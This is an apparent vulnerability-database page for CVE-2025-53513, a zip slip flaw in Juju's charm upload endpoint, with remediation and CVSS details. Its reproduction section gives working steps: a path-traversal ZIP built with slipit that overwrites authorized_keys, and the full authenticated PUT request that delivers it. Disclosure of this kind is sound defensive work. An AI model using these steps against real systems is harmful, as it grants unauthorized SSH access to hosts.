Loading...
Skip to main content

CVE-2025-53513 — Vulnerability in github.com/juju/juju — CVE Details

HIGH

Juju zip slip vulnerability via authenticated endpoint

Published July 9, 2025Updated July 8, 2026Source: osv

Summary

### Impact Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm. ### Details A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm> - POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms - GET https://<controller-ip>:17070/charms These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs. To reproduce: ``` juju bootstrap juju add-user testuser juju change-user-password testuser ``` Download the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm) Download and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit) Run the following command to generate a new SSH key pair: `ssh-keygen` Copy the contents of the newly created public key into a file called `authorized_keys` Run the following command to inject the malicious path into the ZIP file: ``` slipit hello.zip authorized_keys --separator ../../../../../../home/ ubuntu/.ssh/ ``` Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-<updated-sha>`) - ``` PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c HTTP/1.1 Host: 10.4.154.217:17070 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko /20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Connection: keep-alive Content-Length: 40021 Content-Type: application/zip Juju-Curl: local:pathtw Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA== <ZIP BODY Content> ``` Observe that the response states that the charm has been uploaded. Attempt to SSH to the controller by using the private key that was generated above. Observe that it is possible to authenticate because the file has been overwritten. ### Code The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990 And the only auth required is that the incoming request be for an authenticated user https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754 but no specific permission checks are done. ### Workarounds There are no known workarounds. ### References [F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)

Advisory Timeline

  • First published July 9, 2025 (460 days ago).
  • Last revised July 8, 2026 — 364 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/juju/juju to 0.0.0-20250619215741-6356e984b82a or later
go get github.com/juju/juju@v0.0.0-20250619215741-6356e984b82a

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/juju/juju
go
All versions0.0.0-20250619215741-6356e984b82a

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-53513?
Juju zip slip vulnerability via authenticated endpoint This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2025-53513?
CVE-2025-53513 affects github.com/juju/juju. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-53513 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-24ch-w38v-xmh8
GO-2025-3804

Related CVEs

  • CVE-2026-4370
    CRITICAL

    Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster

  • CVE-2017-9232
    CRITICAL

    Juju uses a UNIX domain socket without setting appropriate permissions

  • CVE-2026-5412
    CRITICAL

    Juju: CloudSpec method leaking cloud credentials

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-32693
    HIGH

    Juju has unauthorized access to out-of-scope Kubernetes secrets

  • CVE-2025-0928
    HIGH

    Juju allows arbitrary executable uploads via authenticated endpoint without authorization

  • CVE-2024-6984
    HIGH

    Juju's unprivileged user running on charm node can leak any secret or relation data accessible to the local charm

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies